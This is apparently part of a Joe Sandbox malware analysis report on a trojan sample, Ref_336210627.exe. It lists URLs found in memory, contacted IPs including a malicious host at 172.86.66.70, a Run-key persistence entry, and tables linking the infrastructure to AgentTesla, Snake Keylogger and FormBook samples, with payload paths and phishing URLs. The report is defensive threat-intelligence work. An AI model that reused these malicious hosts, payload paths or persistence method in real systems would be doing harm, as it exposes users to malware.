https://reallyfreegeoip.org/xml/8.46.123.33	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-neti	Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	Ref_336210627.exe, 00000000.00000002.1790161541.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.000000000299F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.0000000003321000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000004374000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002598000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003367000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000340C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://172.86.66.70	Ref_336210627.exe, 00000000.00000002.1790161541.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002971000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.000000000323D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://reallyfreegeoip.org	InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000256D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000333C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000340C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-net	Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002598000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003367000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000261E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002598000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002549000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000340C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Ref_336210627.exe, 00000000.00000002.1790161541.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002971000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.000000000323D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002491000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003324000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.86.66.70	unknown	United States	9009	M247GB	true
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519347
Start date and time:	2024-09-26 12:11:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ref_336210627.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@24/3@2/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 96% Number of executed functions: 461 Number of non-executed functions: 36
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 1260 because it is empty
Execution Graph export aborted for target InstallUtil.exe, PID 3412 because it is empty
Execution Graph export aborted for target InstallUtil.exe, PID 480 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Ref_336210627.exe

Simulations

Behavior and APIs

Time	Type	Description
06:12:12	API Interceptor	213x Sleep call for process: InstallUtil.exe modified
11:12:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ijohw C:\Users\user\AppData\Roaming\ijohw.exe
11:12:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ijohw C:\Users\user\AppData\Roaming\ijohw.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.86.66.70	Ref_5010_103.exe	Get hash	malicious	AgentTesla	Browse	172.86.66.70/y3/Ytwqwkbwu.vdf
172.86.66.70	Ship_Doc_18505.exe	Get hash	malicious	AgentTesla	Browse	172.86.66.70/y3/Jwxjanz.dat
188.114.96.3	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/
	http://twint.ch-daten.com/de/receive/bank/sgkb/79469380	Get hash	malicious	Unknown	Browse	twint.ch-daten.com/socket.io/?EIO=4&transport=polling&t=P8hxwsc
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	www.444317.com/
	Sept order.doc	Get hash	malicious	FormBook	Browse	www.rajalele.xyz/bopi/?1b=1soTE/gd/ZpFZmuHMdkP9CmM1erq3xsEeOQ9nFH+Tv+qMlBfxeqrLL5BDR/2l62DivVTHQ==&BfL=LxlT-
	1e#U0414.exe	Get hash	malicious	Lokibot	Browse	dddotx.shop/Mine/PWS/fre.php
	https://laurachenel-my.sharepoint.com/:f:/p/durae/EqNLWpSMEBRJoccjxMrYR9cBuepxDM4GGslgNeOpyvFENQ?e=1C1jRH	Get hash	malicious	Unknown	Browse	hdcy.emcl00.com/qRCfs/
	PO23100072.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	RFQ urrgently.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/1g7m/
	TNT AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	www.weight-loss-003.today/jd21/?Bl=8pSpW470ix&FjUh5xw=8QhlJgbwFiNHSz6ilu/NO/QAEgywgMMp9yv6yRtWAY1NzG57DnL+pjMXQcNu92teMaGp
	Petronas quotation request.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/
193.122.130.0	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Payment Slip.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/
	E-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rPEDIDO-M456.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
checkip.dyndns.com	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.6.168
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	g3V051umJf.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://centuriontm.bizarreonly.net	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	https://storage.googleapis.com/inbound-mail-attachments-prod/0cbecb77-b573-4b3b-8c97-8b461d262d51?GoogleAccessId=distribution-controller-prod@inbound-mail-attachments.iam.gserviceaccount.com&Expires=1758806989&Signature=teNXGJRcW9uuEoVVvD0bLb%2BTGBorxpSu89OlgLR0AZpo8aoMl3JFsBDoXmLnj9QMk%2BAPu8iGsKTPrT4i0XSxxzRmtCLdsbDi23%2FFHfN4OpU3mOnUXtbZ81e7h5Ax%2FIygnxvogL7iGUXrqQUBZEnVkPmXcpAMmBTX7%2Bj4kVf57xBQo4WA9yGdv5Df4b9nDGZMXEYZVxWjPtOk4%2FXapMoV5bYJLgpB%2BR%2F1LUE0IwT1d3wuv1q6TONtaWwducy4mc1%2FJvGqxFuxuW9Y6Ojq%2B7a%2FqCW4DaFdd42O6ViY63C8G7dPbTe9LtxhwHcAk9xg3n5kXh2Z75tDAkK2Ak5mKneP6g%3D%3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
